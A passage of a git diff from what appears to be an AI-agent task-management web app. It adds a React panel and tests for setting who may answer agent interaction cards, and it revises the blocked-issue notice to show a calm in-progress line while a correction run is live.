+    expect(toGovernanceSelectValue("board_or_agents")).toBe(GOVERNANCE_UNSET);
+  });
+
+  it("canonicalizes stored narrowing values, including the legacy board_only alias", () => {
+    expect(toGovernanceSelectValue("not_creator")).toBe("not_creator");
+    expect(toGovernanceSelectValue("human_only")).toBe("human_only");
+    expect(toGovernanceSelectValue("board_only")).toBe("human_only");
+  });
+});
+
+describe("applyGovernanceChange", () => {
+  it("stores a narrowing override", () => {
+    expect(applyGovernanceChange({}, "request_confirmation", "defaultPolicy", "human_only")).toEqual({
+      request_confirmation: { defaultPolicy: "human_only" },
+    });
+  });
+
+  it("clears the override when the open default is re-selected", () => {
+    const current: InteractionResolverGovernance = {
+      request_confirmation: { defaultPolicy: "human_only" },
+    };
+    expect(
+      applyGovernanceChange(current, "request_confirmation", "defaultPolicy", GOVERNANCE_UNSET),
+    ).toEqual({});
+    // Immutable: the caller's map is untouched.
+    expect(current.request_confirmation?.defaultPolicy).toBe("human_only");
+  });
+
+  it("keeps a sibling field when only one is cleared", () => {
+    const current: InteractionResolverGovernance = {
+      request_confirmation: { defaultPolicy: "human_only", cap: "not_creator" },
+    };
+    expect(applyGovernanceChange(current, "request_confirmation", "cap", GOVERNANCE_UNSET)).toEqual({
+      request_confirmation: { defaultPolicy: "human_only" },
+    });
+  });
+});
diff --git a/ui/src/components/InteractionGovernancePanel.tsx b/ui/src/components/InteractionGovernancePanel.tsx
new file mode 100644
index 00000000000..358a57a8a76
--- /dev/null
+++ b/ui/src/components/InteractionGovernancePanel.tsx
@@ -0,0 +1,306 @@
+import { Fragment } from "react";
+import {
+  ISSUE_THREAD_INTERACTION_KINDS,
+  normalizeIssueThreadInteractionResolverPolicy,
+  type InteractionResolverGovernance,
+  type IssueThreadInteractionCanonicalResolverPolicy,
+  type IssueThreadInteractionKind,
+  type IssueThreadInteractionResolverPolicy,
+} from "@paperclipai/shared";
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from "@/components/ui/select";
+import { resolverPolicyLabel } from "../lib/interaction-audience";
+
+const INTERACTION_KIND_LABELS: Record<IssueThreadInteractionKind, string> = {
+  suggest_tasks: "Suggested tasks",
+  ask_user_questions: "Ask user questions",
+  request_confirmation: "Confirmations",
+  request_checkbox_confirmation: "Checkbox confirmations",
+  request_item_verdicts: "Item verdicts",
+};
+
+/**
+ * Sentinel for "no override" — Radix Select disallows empty-string item values.
+ * Under the open-default contract (PAP-17280) an absent override *is* the open
+ * audience, so this sentinel is what a company sees selected until it
+ * deliberately narrows a kind.
+ */
+export const GOVERNANCE_UNSET = "default";
+export type GovernanceSelectValue = typeof GOVERNANCE_UNSET | IssueThreadInteractionResolverPolicy;
+
+export type GovernanceField = "defaultPolicy" | "cap";
+
+/**
+ * Only *narrowing* policies are offered. `anyone` is the product default, so
+ * requesting it as a default override is a no-op, and capping at `anyone` cannot
+ * narrow anything — both collapse into the unset sentinel, which is presented as
+ * the visible default.
+ */
+const NARROWING_POLICIES: readonly IssueThreadInteractionCanonicalResolverPolicy[] = [
+  "not_creator",
+  "human_only",
+];
+
+const UNSET_LABELS: Record<GovernanceField, string> = {
+  defaultPolicy: "Anyone (default)",
+  cap: "No cap",
+};
+
+const UNSET_EFFECTS: Record<GovernanceField, string> = {
+  defaultPolicy: "New cards are open — the board or any agent can respond, including the one that asked.",
+  cap: "A request keeps whatever audience it asks for.",
+};
+
+const DEFAULT_POLICY_EFFECTS: Record<IssueThreadInteractionCanonicalResolverPolicy, string> = {
+  anyone: UNSET_EFFECTS.defaultPolicy,
+  not_creator: "New cards exclude the agent that created them, so the answer comes from someone else.",
+  human_only: "New cards wait for a person on the board. Agents are turned away.",
+};
+
+const CAP_EFFECTS: Record<IssueThreadInteractionCanonicalResolverPolicy, string> = {
+  anyone: UNSET_EFFECTS.cap,
+  not_creator: "Even a card that asks for Anyone is narrowed to exclude its creator.",
+  human_only: "Every card of this kind waits for a person, whatever it asked for.",
+};
+
+function governanceOptions(field: GovernanceField): {
+  value: GovernanceSelectValue;
+  label: string;
+  effect: string;
+}[] {
+  const effects = field === "cap" ? CAP_EFFECTS : DEFAULT_POLICY_EFFECTS;
+  return [
+    { value: GOVERNANCE_UNSET, label: UNSET_LABELS[field], effect: UNSET_EFFECTS[field] },
+    ...NARROWING_POLICIES.map((policy) => ({
+      value: policy as GovernanceSelectValue,
+      label: resolverPolicyLabel(policy),
+      effect: effects[policy],
+    })),
+  ];
+}
+
+/**
+ * The label a *closed* trigger must show. Derived from the value rather than
+ * looked up in the option list so an out-of-list value (a raw `anyone`, say)
+ * still renders a complete, truthful label instead of falling back to a lie.
+ */
+export function governanceValueLabel(field: GovernanceField, value: GovernanceSelectValue): string {
+  return value === GOVERNANCE_UNSET ? UNSET_LABELS[field] : resolverPolicyLabel(value);
+}
+
+/**
+ * Map a persisted override onto a select value. A stored `anyone` — including
+ * the deprecated `board_or_agents` alias — is the open default, so it shows as
+ * the unset sentinel rather than as a narrowing override.
+ */
+export function toGovernanceSelectValue(
+  policy: IssueThreadInteractionResolverPolicy | undefined,
+): GovernanceSelectValue {
+  if (!policy) return GOVERNANCE_UNSET;
+  const canonical = normalizeIssueThreadInteractionResolverPolicy(policy);
+  return canonical === "anyone" ? GOVERNANCE_UNSET : canonical;
+}
+
+/**
+ * Apply a single (kind, field) change to a governance map immutably, pruning
+ * empty entries so the persisted object stays sparse (only real overrides).
+ */
+export function applyGovernanceChange(
+  current: InteractionResolverGovernance,
+  kind: IssueThreadInteractionKind,
+  field: GovernanceField,
+  value: GovernanceSelectValue,
+): InteractionResolverGovernance {
+  const next: InteractionResolverGovernance = { ...current };
+  const entry = { ...(next[kind] ?? {}) };
+  if (value === GOVERNANCE_UNSET) {
+    delete entry[field];
+  } else {
+    entry[field] = value;
+  }
+  if (entry.defaultPolicy === undefined && entry.cap === undefined) {
+    delete next[kind];
+  } else {
+    next[kind] = entry;
+  }
+  return next;
+}
+
+function GovernanceSelect({
+  field,
+  value,
+  onChange,
+  disabled,
+  testId,
+  ariaLabel,
+  mobileLabel,
+}: {
+  field: GovernanceField;
+  value: GovernanceSelectValue;
+  onChange: (value: GovernanceSelectValue) => void;
+  disabled?: boolean;
+  testId?: string;
+  ariaLabel: string;
+  mobileLabel: string;
+}) {
+  const options = governanceOptions(field);
+  return (
+    <div className="min-w-0">
+      {/*
+       * Below `sm` the governance grid collapses to a single column (see the
+       * grid classes on the panel), detaching each select from its column
+       * header. Surface a mobile-only inline label so the control stays
+       * self-describing for sighted users, and always carry `aria-label` for
+       * screen-reader pairing. WCAG 2.1 SC 1.4.10 (Reflow) — design review R2.
+       */}
+      <span className="mb-1 block text-xs font-medium text-muted-foreground uppercase tracking-wide sm:hidden">
+        {mobileLabel}
+      </span>
+      <Select value={value} onValueChange={(v) => onChange(v as GovernanceSelectValue)} disabled={disabled}>
+        <SelectTrigger
+          size="sm"
+          aria-label={ariaLabel}
+          // 208px is sized for the longest label the control can hold —
+          // `Anyone except creator` needs ~150px of text room, and 170px only
+          // left 122px after padding, gap and chevron, so it clipped even once
+          // the effect sentence was gone (PAP-17297).
+          className="w-full min-w-0 text-xs sm:w-(--sz-208px)"
+          data-testid={testId}
+        >
+          {/*
+           * Explicit children, not the default `<SelectValue />`. Radix portals
+           * the selected item's *whole* subtree into an empty value node, which
+           * dragged each option's effect sentence into the closed trigger and
+           * clipped the selected label (desktop truncated the prose, mobile cut
+           * `Anyone (default)` mid-label — PAP-17293/PAP-17297). Passing children
+           * sets `valueNodeHasChildren`, which suppresses that portal, so the
+           * trigger shows exactly the label and nothing else.
+           */}
+          <SelectValue>{governanceValueLabel(field, value)}</SelectValue>
+        </SelectTrigger>
+        {/*
+         * Cap the option list so the effect sentences wrap instead of stretching
+         * the popover past a ~390px viewport (WCAG 2.1 SC 1.4.10 Reflow).
+         */}
+        <SelectContent className="max-w-(--sz-280px) sm:max-w-(--sz-360px)">
+          {options.map((option) => (
+            <SelectItem
+              key={option.value}
+              value={option.value}
+              // Keyboard typeahead matches on `textValue` when given; without it
+              // Radix would match against the effect prose too.
+              textValue={option.label}
+              className="text-xs"
+            >
+              {/*
+               * Effect preview lives inside the option so the consequence of a
+               * narrowing choice is legible at the moment of choosing, not only
+               * after saving (PAP-17280).
+               */}
+              <span className="flex min-w-0 flex-col gap-0.5">
+                <span>{option.label}</span>
+                <span className="text-(length:--text-micro) text-muted-foreground">
+                  {option.effect}
+                </span>
+              </span>
+            </SelectItem>
+          ))}
+        </SelectContent>
+      </Select>
+    </div>
+  );
+}
+
+/**
+ * Company-level interaction governance: the per-kind default audience and cap.
+ *
+ * The open default is the headline — interactions are resolvable by anyone in
+ * the company unless a row here narrows them — so the panel only offers
+ * narrowing choices and never presents an unrestricted card as board-required
+ * (PAP-17280, contract in `doc/SPEC-implementation.md` §9.8.1).
+ */
+export function InteractionGovernancePanel({
+  governance,
+  onChange,
+  isPending,
+  errorMessage,
+}: {
+  governance: InteractionResolverGovernance;
+  onChange: (kind: IssueThreadInteractionKind, field: GovernanceField, value: GovernanceSelectValue) => void;
+  isPending?: boolean;
+  errorMessage?: string | null;
+}) {
+  return (
+    <div className="space-y-4" data-testid="company-settings-interaction-governance-section">
+      <div className="text-xs font-medium text-muted-foreground uppercase tracking-wide">
+        Interaction governance
+      </div>
+      <div className="space-y-4">
+        <p className="text-sm text-muted-foreground">
+          Thread interactions are open by default:{" "}
+          <span className="font-medium text-foreground">Anyone</span> in the company — the
+          board or any agent, including the one that asked — can respond. Narrow a kind
+          only when you need to.{" "}
+          <span className="font-medium text-foreground">Default policy</span> is the
+          audience new cards get when the requester does not ask for one;{" "}
+          <span className="font-medium text-foreground">Cap</span> narrows every request of
+          that kind and can never widen one. Tool-approval confirmations always stay{" "}
+          <span className="font-medium text-foreground">Human only</span>.
+        </p>
+        {/*
+         * Responsive: below `sm` the row collapses to a single column so the
+         * two 170px selects never force horizontal overflow on a ~390px
+         * viewport (WCAG 2.1 SC 1.4.10 Reflow — design review R2). Each kind
+         * then stacks as: label → Default policy → Cap, each full-width with
+         * its own inline label. At `sm`+ it restores the aligned 3-col grid.
+         */}
+        <div className="grid grid-cols-1 gap-y-4 sm:grid-cols-[1fr_auto_auto] sm:items-center sm:gap-x-4 sm:gap-y-2.5">
+          <div className="hidden text-xs font-medium text-muted-foreground uppercase tracking-wide sm:block">
+            Kind
+          </div>
+          <div className="hidden text-xs font-medium text-muted-foreground uppercase tracking-wide sm:block">
+            Default policy
+          </div>
+          <div className="hidden text-xs font-medium text-muted-foreground uppercase tracking-wide sm:block">
+            Cap
+          </div>
+          {ISSUE_THREAD_INTERACTION_KINDS.map((kind) => {
+            const entry = governance[kind] ?? {};
+            const kindLabel = INTERACTION_KIND_LABELS[kind];
+            return (
+              <Fragment key={kind}>
+                <div className="text-sm font-medium sm:font-normal">{kindLabel}</div>
+                <GovernanceSelect
+                  field="defaultPolicy"
+                  testId={`governance-${kind}-default`}
+                  ariaLabel={`Default resolver audience for ${kindLabel}`}
+                  mobileLabel="Default policy"
+                  value={toGovernanceSelectValue(entry.defaultPolicy)}
+                  disabled={isPending}
+                  onChange={(v) => onChange(kind, "defaultPolicy", v)}
+                />
+                <GovernanceSelect
+                  field="cap"
+                  testId={`governance-${kind}-cap`}
+                  ariaLabel={`Resolver cap for ${kindLabel}`}
+                  mobileLabel="Cap"
+                  value={toGovernanceSelectValue(entry.cap)}
+                  disabled={isPending}
+                  onChange={(v) => onChange(kind, "cap", v)}
+                />
+              </Fragment>
+            );
+          })}
+        </div>
+        {errorMessage ? (
+          <span className="text-xs text-destructive">{errorMessage}</span>
+        ) : null}
+      </div>
+    </div>
+  );
+}
diff --git a/ui/src/components/IssueBlockedNotice.test.tsx b/ui/src/components/IssueBlockedNotice.test.tsx
index 70fc8027090..5bfa04246ae 100644
--- a/ui/src/components/IssueBlockedNotice.test.tsx
+++ b/ui/src/components/IssueBlockedNotice.test.tsx
@@ -6,8 +6,13 @@ import type { AnchorHTMLAttributes, ReactElement, ReactNode } from "react";
 import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
 import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
 import { MemoryRouter } from "react-router-dom";
-import type { IssueRetryNowOutcome, IssueScheduledRetry } from "@paperclipai/shared";
+import type {
+  IssueRecoveryAction,
+  IssueRetryNowOutcome,
+  IssueScheduledRetry,
+} from "@paperclipai/shared";
 import { IssueBlockedNotice } from "./IssueBlockedNotice";
+import { deriveRecoveryCardState } from "./IssueRecoveryActionCard";
 import { ToastProvider } from "../context/ToastContext";
 
 const retryNowMock = vi.hoisted(() => vi.fn());
@@ -149,6 +154,9 @@ describe("IssueBlockedNotice", () => {
     expect(node.textContent).toContain("Asked CodexCoder to choose the next step");
     expect(node.textContent).toContain("Detected progress: Updated the plan and left follow-up work.");
     expect(node.querySelector('[data-testid="issue-next-step-retry-now"]')).toBeNull();
+    // No live continuation ⇒ the alarm stays exactly as it was; the calm
+    // in-flight line must not appear alongside it.
+    expect(node.querySelector('[data-testid="issue-next-step-in-flight"]')).toBeNull();
   });
 
   it("shows retry-now action for next-step notices with a scheduled retry", async () => {
@@ -187,7 +195,7 @@ describe("IssueBlockedNotice", () => {
     });
   });
 
-  it("hides the next-step notice while a live continuation is running the issue", () => {
+  it("replaces the alarm with the calm in-flight line while a live continuation is running the issue", () => {
     const node = render(
       <IssueBlockedNotice
         issueStatus="in_progress"
@@ -207,11 +215,27 @@ describe("IssueBlockedNotice", () => {
       />,
     );
 
+    // The amber alarm and every remediation bullet are gone...
     expect(node.querySelector('[data-successful-run-handoff="required"]')).toBeNull();
-    expect(node.textContent).toBe("");
+    expect(node.textContent).not.toContain("This task still needs a next step.");
+    expect(node.textContent).not.toContain("Mark it done or cancelled.");
+    expect(node.querySelector(".bg-amber-50\\/90")).toBeNull();
+
+    // ...replaced by one quiet line that links the live run.
+    const calm = node.querySelector('[data-testid="issue-next-step-in-flight"]');
+    expect(calm).not.toBeNull();
+    expect(calm!.getAttribute("data-successful-run-handoff")).toBe("in_flight");
+    expect(node.textContent).toContain(
+      "A correction run is in progress — the agent is working. This alert returns if the run stops without choosing a next step.",
+    );
+    const runLink = calm!.querySelector("a");
+    expect(runLink?.getAttribute("href")).toBe(
+      "/agents/agent-1/runs/87654321-dddd-eeee-ffff-123456789abc",
+    );
+    expect(runLink?.textContent).toBe("run 87654321");
   });
 
-  it("hides the next-step notice when the live-run set includes this issue", () => {
+  it("shows the calm in-flight line when the live-run set includes this issue", () => {
     const node = render(
       <IssueBlockedNotice
         issueId="issue-1"
@@ -233,6 +257,58 @@ describe("IssueBlockedNotice", () => {
     );
 
     expect(node.querySelector('[data-successful-run-handoff="required"]')).toBeNull();
+    const calm = node.querySelector('[data-testid="issue-next-step-in-flight"]');
+    expect(calm).not.toBeNull();
+    // No `liveRunId` on the payload — the copy stands alone, with no run link.
+    expect(calm!.querySelector("a")).toBeNull();
+    expect(node.textContent).toContain("A correction run is in progress");
+  });
+
+  it("omits the run link but keeps the calm copy when the live run has no known agent", () => {
+    const node = render(
+      <IssueBlockedNotice
+        issueStatus="in_progress"
+        blockers={[]}
+        successfulRunHandoff={{
+          state: "required",
+          required: true,
+          hasLiveContinuation: true,
+          liveRunId: "87654321-dddd-eeee-ffff-123456789abc",
+          sourceRunId: null,
+          correctiveRunId: null,
+          assigneeAgentId: null,
+          detectedProgressSummary: null,
+          createdAt: "2026-05-01T00:00:00.000Z",
+        }}
+      />,
+    );
+
+    const calm = node.querySelector('[data-testid="issue-next-step-in-flight"]');
+    expect(calm).not.toBeNull();
+    expect(calm!.querySelector("a")).toBeNull();
+    expect(calm!.textContent).toContain("run 87654321");
+  });
+
+  it("stays silent when the handoff is not required at all", () => {
+    const node = render(
+      <IssueBlockedNotice
+        issueStatus="in_progress"
+        blockers={[]}
+        successfulRunHandoff={{
+          state: "resolved",
+          required: false,
+          hasLiveContinuation: true,
+          liveRunId: "87654321-dddd-eeee-ffff-123456789abc",
+          sourceRunId: "12345678-aaaa-bbbb-cccc-123456789abc",
+          correctiveRunId: null,
+          assigneeAgentId: "agent-1",
+          detectedProgressSummary: null,
+          createdAt: "2026-05-01T00:00:00.000Z",
+        }}
+      />,
+    );
+
+    expect(node.querySelector('[data-testid="issue-next-step-in-flight"]')).toBeNull();
     expect(node.textContent).toBe("");
   });
 
@@ -259,6 +335,10 @@ describe("IssueBlockedNotice", () => {
 
     expect(node.querySelector('[data-successful-run-handoff="required"]')).not.toBeNull();
     expect(node.querySelector('[data-testid="issue-next-step-retry-now"]')).not.toBeNull();
+    // The carve-out wins over the calm line: the alarm is the only thing that
+    // keeps "Retry now" reachable, so it must not be quieted or duplicated.
+    expect(node.querySelector('[data-testid="issue-next-step-in-flight"]')).toBeNull();
+    expect(node.textContent).toContain("This task still needs a next step.");
   });
 
   it("does not render when the issue is done even if a stale handoff state is required", () => {
@@ -703,4 +783,130 @@ describe("IssueBlockedNotice", () => {
     expect(indicator?.getAttribute("data-recovery-kind")).toBe("workspace_validation");
     expect(indicator?.textContent).toContain("Workspace recovery needed");
   });
+
+  describe("owner-sticky retry lineage", () => {
+    function buildDispositionRepairAction(
+      wakePolicy: Record<string, unknown>,
+      overrides: Partial<IssueRecoveryAction> = {},
+    ): IssueRecoveryAction {
+      return {
+        id: "rec-3",
+        companyId: "co-1",
+        sourceIssueId: "blocker-3",
+        recoveryIssueId: null,
+        kind: "deliberate_wait_without_target",
+        status: "active",
+        ownerType: "agent",
+        ownerAgentId: "agent-owner",
+        ownerUserId: null,
+        previousOwnerAgentId: "agent-owner",
+        returnOwnerAgentId: "agent-owner",
+        cause: "deliberate_wait_without_target",
+        fingerprint: "fp-3",
+        evidence: {},
+        nextAction: "Record a durable disposition.",
+        wakePolicy,
+        monitorPolicy: null,
+        attemptCount: 2,
+        maxAttempts: 5,
+        timeoutAt: null,
+        lastAttemptAt: null,
+        outcome: null,
+        resolutionNote: null,
+        resolvedAt: null,
+        createdAt: "2026-04-18T19:00:00.000Z",
+        updatedAt: "2026-04-18T19:00:00.000Z",
+        ...overrides,
+      };
+    }
+
+    function renderBlockerChip(
+      action: IssueRecoveryAction,
+      scheduledRetry?: IssueScheduledRetry | null,
+    ) {
+      return render(
+        <IssueBlockedNotice
+          issueStatus="blocked"
+          blockers={[
+            {
+              id: "blocker-3",
+              identifier: "PAP-777",
+              title: "Waiting on nothing",
+              status: "in_progress",
+              priority: "medium",
+              assigneeAgentId: null,
+              assigneeUserId: null,
+              activeRecoveryAction: action,
+              scheduledRetry,
+            },
+          ]}
+        />,
+      ).querySelector('[data-testid="issue-blocked-notice-recovery-indicator"]');
+    }
+
+    it("reports the same liveness state as the source task's recovery card", () => {
+      const liveAction = buildDispositionRepairAction({
+        type: "bounded_owner_disposition_repair",
+        retryAgentId: "agent-owner",
+        attempt: 2,
+        maxAttempts: 5,
+        // SYSTEM_NOW is 2026-04-18T20:00:00Z; three minutes out.
+        retryAt: "2026-04-18T20:03:00.000Z",
+        scheduledRunId: "run-b1",
+      });
+
+      const chip = renderBlockerChip(liveAction);
+      expect(chip?.getAttribute("data-recovery-state")).toBe("in_progress");
+      expect(chip?.getAttribute("data-recovery-lane")).toBe("source_owner");
+      expect(chip?.textContent).toContain("Recovery in progress · 2/5");
+      expect(chip?.getAttribute("title")).toContain("Attempt 2 of 5 · next try in 3m");
+
+      // The card the blocker links to must not contradict the chip.
+      const cardState = deriveRecoveryCardState(liveAction);
+      expect(cardState).toBe(chip?.getAttribute("data-recovery-state"));
+    });
+
+    it("keeps the blocker chip in progress while the named retry run is live", () => {
+      const liveAction = buildDispositionRepairAction({
+        type: "bounded_owner_disposition_repair",
+        retryAgentId: "agent-owner",
+        attempt: 3,
+        maxAttempts: 5,
+        retryAt: "2026-04-18T19:58:00.000Z",
+        scheduledRunId: "run-b2",
+      });
+      const scheduledRetry: IssueScheduledRetry = {
+        ...baseRetry,
+        runId: "run-b2",
+        status: "running",
+        scheduledRetryAt: "2026-04-18T19:58:00.000Z",
+        scheduledRetryAttempt: 3,
+        scheduledRetryReason: "issue_disposition_repair",
+      };
+
+      const chip = renderBlockerChip(liveAction, scheduledRetry);
+      expect(chip?.getAttribute("data-recovery-state")).toBe("in_progress");
+      expect(chip?.textContent).toContain("Recovery in progress · 3/5");
+      expect(chip?.getAttribute("title")).toContain("Attempt 3 of 5 · attempt running now");
+      expect(deriveRecoveryCardState(liveAction, { scheduledRetry })).toBe("in_progress");
+    });
+
+    it("escalates the blocker chip in step with the card when retries are exhausted", () => {
+      const exhaustedAction = buildDispositionRepairAction(
+        {
+          type: "bounded_owner_disposition_repair",
+          retryAgentId: "agent-owner",
+          attempt: 5,
+          maxAttempts: 5,
+          retryAt: "2026-04-18T19:59:00.000Z",
+        },
+        { attemptCount: 5 },
+      );
+
+      const chip = renderBlockerChip(exhaustedAction);
+      expect(chip?.getAttribute("data-recovery-state")).toBe("needed");
+      expect(chip?.textContent).toContain("Recovery needed");
+      expect(deriveRecoveryCardState(exhaustedAction)).toBe("needed");
+    });
+  });
 });
diff --git a/ui/src/components/IssueBlockedNotice.tsx b/ui/src/components/IssueBlockedNotice.tsx
index 83e766a13a8..0eff9d6e23e 100644
--- a/ui/src/components/IssueBlockedNotice.tsx
+++ b/ui/src/components/IssueBlockedNotice.tsx
@@ -15,7 +15,11 @@ import { formatMonitorOffset } from "../lib/issue-monitor";
 import { useRetryNowMutation } from "../hooks/useRetryNowMutation";
 import { IssueLinkQuicklook } from "./IssueLinkQuicklook";
 import { RetryErrorBand } from "./IssueScheduledRetryCard";
-import { isAssignedBacklogBlocker } from "../lib/issue-blockers";
+import {
+  isAssignedBacklogBlocker,
+  orderWaitingBlockers,
+  type WaitingBlockerStatus,
+} from "../lib/issue-blockers";
 import { isSuccessfulRunHandoffRequired } from "../lib/successful-run-handoff";
 import { Badge } from "@/components/ui/badge";
 import {
@@ -23,22 +27,41 @@ import {
   RECOVERY_CHIP_DEFAULT_TONE,
   recoveryChipLabel,
 } from "../lib/recovery-display";
+import {
+  formatRecoveryLineageSummary,
+  readRecoveryRetryLineage,
+} from "../lib/recovery-lineage";
 import { StatusGlyph } from "./StatusGlyph";
 
-function BlockerRecoveryIndicator({ action }: { action: IssueRecoveryAction }) {
-  const state = deriveActiveRecoveryDisplayState(action);
+function BlockerRecoveryIndicator({
+  action,
+  scheduledRetry,
+}: {
+  action: IssueRecoveryAction;
+  /** The blocker's own scheduled retry, used to verify that the stored attempt is in flight. */
+  scheduledRetry?: IssueScheduledRetry | null;
+}) {
+  const liveness = { scheduledRetry: scheduledRetry ?? null };
+  const state = deriveActiveRecoveryDisplayState(action, liveness);
   if (!state) return null;
   const tone = RECOVERY_CHIP_DEFAULT_TONE[state];
   const Icon = tone.icon;
-  const label = recoveryChipLabel(state, action.kind);
+  // The blocker chip reads the same stored lineage as the source task's recovery card, so
+  // a parent view never contradicts the task it is waiting on.
+  const lineage = readRecoveryRetryLineage(action, liveness);
+  const label = recoveryChipLabel(state, action.kind, lineage);
+  const detail = lineage ? formatRecoveryLineageSummary(lineage) : null;
   return (
     <Badge variant="outline"
       data-testid="issue-blocked-notice-recovery-indicator"
       data-recovery-state={state}
       data-recovery-kind={action.kind}
+      data-recovery-lane={lineage?.lane}
       role="status"
-      aria-label={label}
-      title={`${label} — open the source task to act.`}
+      aria-label={detail ? `${label} — ${detail}` : label}
+      title={detail
+        ? `${label} — ${detail}. Open the source task to act.`
+        : `${label} — open the source task to act.`}
       className={`[&>svg]:size-2.5 gap-0.5 px-1.5 text-(length:--text-nano) ${tone.className}`}
     >
       <Icon className="h-2.5 w-2.5" aria-hidden />
@@ -114,27 +137,6 @@ function SuccessfulRunRetryNowControl({
 
 const EMPTY_LIVE_IDS: ReadonlySet<string> = new Set<string>();
 
-type WaitingStepStatus = "done" | "running" | "queued";
-
-function classifyWaitingStep(
-  blocker: IssueRelationIssueSummary,
-  liveIds: ReadonlySet<string>,
-): WaitingStepStatus {
-  // A resolved blocker (done/cancelled) is a completed step; a blocker with a
-  // live run is the one currently being worked; everything else is queued.
-  if (blocker.status === "done" || blocker.status === "cancelled") return "done";
-  if (liveIds.has(blocker.id)) return "running";
-  return "queued";
-}
-
-// Ordering heuristic (plan §3): done → running → queued, tie-break by identifier
-// (P1…Pn plan naming). The payload doesn't carry explicit chain order.
-const WAITING_STEP_RANK: Record<WaitingStepStatus, number> = {
-  done: 0,
-  running: 1,
-  queued: 2,
-};
-
 function waitingTaskStatusLabel(status: string): string {
   return status.replace(/_/g, " ").replace(/\b\w/g, (character) => character.toUpperCase());
 }
@@ -171,7 +173,7 @@ function WaitingChipLink({
   );
 }
 
-function WaitingStepGlyph({ status }: { status: WaitingStepStatus }) {
+function WaitingStepGlyph({ status }: { status: WaitingBlockerStatus }) {
   if (status === "done") {
     return <CheckCircle2 className="h-3.5 w-3.5 text-blue-500 dark:text-blue-400" aria-hidden />;
   }
@@ -185,6 +187,56 @@ function WaitingStepGlyph({ status }: { status: WaitingStepStatus }) {
   return <Circle className="h-3.5 w-3.5 text-blue-300 dark:text-blue-500/50" aria-hidden />;
 }
 
+/**
+ * Calm in-flight counterpart to the amber "still needs a next step" alarm.
+ * The handoff is still `required`, but a correction run is live on the issue,
+ * so the alarm would be crying wolf while an agent is already working. Saying
+ * it quietly beats saying nothing: the reader still learns a disposition is
+ * outstanding, and learns that the alarm comes back if the run ends without
+ * choosing one.
+ */
+function SuccessfulRunHandoffInFlightNotice({
+  liveRunId,
+  assigneeAgentId,
+}: {
+  liveRunId?: string | null;
+  assigneeAgentId?: string | null;
+}) {
+  const shortRunId = liveRunId ? liveRunId.slice(0, 8) : null;
+  return (
+    <div
+      data-testid="issue-next-step-in-flight"
+      data-successful-run-handoff="in_flight"
+      className="mb-3 rounded-md border border-border/60 bg-muted/40 px-3 py-2 text-xs text-muted-foreground"
+    >
+      <div className="flex items-start gap-2">
+        <span className="mt-1 flex h-3.5 w-3.5 shrink-0 items-center justify-center" aria-hidden>
+          <span className="h-2 w-2 animate-pulse rounded-full bg-blue-400" />
+        </span>
+        <p className="min-w-0 leading-5">
+          A correction run is in progress — the agent is working. This alert returns if the run
+          stops without choosing a next step.
+          {shortRunId ? (
+            <>
+              {" "}
+              {assigneeAgentId ? (
+                <Link
+                  to={`/agents/${assigneeAgentId}/runs/${liveRunId}`}
+                  className="font-mono underline underline-offset-2 hover:text-foreground"
+                >
+                  run {shortRunId}
+                </Link>
+              ) : (
+                <span className="font-mono">run {shortRunId}</span>
+              )}
+            </>
+          ) : null}
+        </p>
+      </div>
+    </div>
+  );
+}
+
 /**
  * Blue "Waiting on live work" variant — rendered in place of the
  * amber notice when `blockerAttention.state === "covered"`: the blocker chain
@@ -205,15 +257,7 @@ function WaitingOnLiveWorkNotice({
   parkedBlockers: IssueRelationIssueSummary[];
   renderParkedChip: (blocker: IssueRelationIssueSummary) => ReactNode;
 }) {
-  const steps = chainBlockers
-    .map((blocker) => ({ blocker, status: classifyWaitingStep(blocker, liveIds) }))
-    .sort((a, b) => {
-      const rank = WAITING_STEP_RANK[a.status] - WAITING_STEP_RANK[b.status];
-      if (rank !== 0) return rank;
-      const aKey = a.blocker.identifier ?? a.blocker.id;
-      const bKey = b.blocker.identifier ?? b.blocker.id;
-      return aKey.localeCompare(bKey, undefined, { numeric: true });
-    });
+  const steps = orderWaitingBlockers(chainBlockers, liveIds);
   const total = steps.length;
   const doneCount = steps.filter((step) => step.status === "done").length;
   const runningCount = steps.filter((step) => step.status === "running").length;
@@ -384,11 +428,33 @@ export function IssueBlockedNotice({
   // missing-disposition complaint only applies when the issue is stuck.
   // `hasLiveContinuation` is the server's view; `liveIssueIds` catches runs
   // that started after the issue payload was fetched.
+  const issueHasLiveRun = Boolean(issueId && liveIssueIds?.has(issueId));
   const showSuccessfulRunHandoff =
     successfulRunHandoff != null
     && isSuccessfulRunHandoffRequired({ successfulRunHandoff, scheduledRetry })
-    && !(issueId && liveIssueIds?.has(issueId));
-  if (!showSuccessfulRunHandoff && blockers.length === 0 && issueStatus !== "blocked") return null;
+    && !issueHasLiveRun;
+  // Outstanding handoff + a live run on the issue: the alarm is suppressed, so
+  // render the quiet in-flight line in its place rather than nothing at all.
+  // The unpromoted-scheduled-retry carve-out keeps `showSuccessfulRunHandoff`
+  // true, so the amber notice (and its "Retry now" control) still wins there.
+  // This stands in for the handoff alarm only. When the issue also has
+  // blockers, the blocker notice below is the stronger signal and owns the
+  // slot, exactly as it did before this line existed.
+  const handoffInFlightNotice =
+    successfulRunHandoff != null
+    && successfulRunHandoff.required === true
+    && !showSuccessfulRunHandoff
+    && (successfulRunHandoff.hasLiveContinuation || issueHasLiveRun)
+      ? (
+        <SuccessfulRunHandoffInFlightNotice
+          liveRunId={successfulRunHandoff.liveRunId}
+          assigneeAgentId={successfulRunHandoff.assigneeAgentId}
+        />
+      )
+      : null;
+  if (!showSuccessfulRunHandoff && blockers.length === 0 && issueStatus !== "blocked") {
+    return handoffInFlightNotice;
+  }
   const successfulRunRetryNow = showSuccessfulRunHandoff
     && issueId
     && scheduledRetry?.status === "scheduled_retry"
@@ -491,7 +557,12 @@ export function IssueBlockedNotice({
         <span className="max-w-(--sz-18rem) truncate font-sans text-(length:--text-micro) text-amber-800 dark:text-amber-200">
           {blocker.title}
         </span>
-        {recoveryAction ? <BlockerRecoveryIndicator action={recoveryAction} /> : null}
+        {recoveryAction ? (
+          <BlockerRecoveryIndicator
+            action={recoveryAction}
+            scheduledRetry={blocker.scheduledRetry}
+          />
+        ) : null}
       </IssueLinkQuicklook>
     );
   };
diff --git a/ui/src/components/IssueChatThread.test.tsx b/ui/src/components/IssueChatThread.test.tsx
index 3494a938618..2fbba554b04 100644
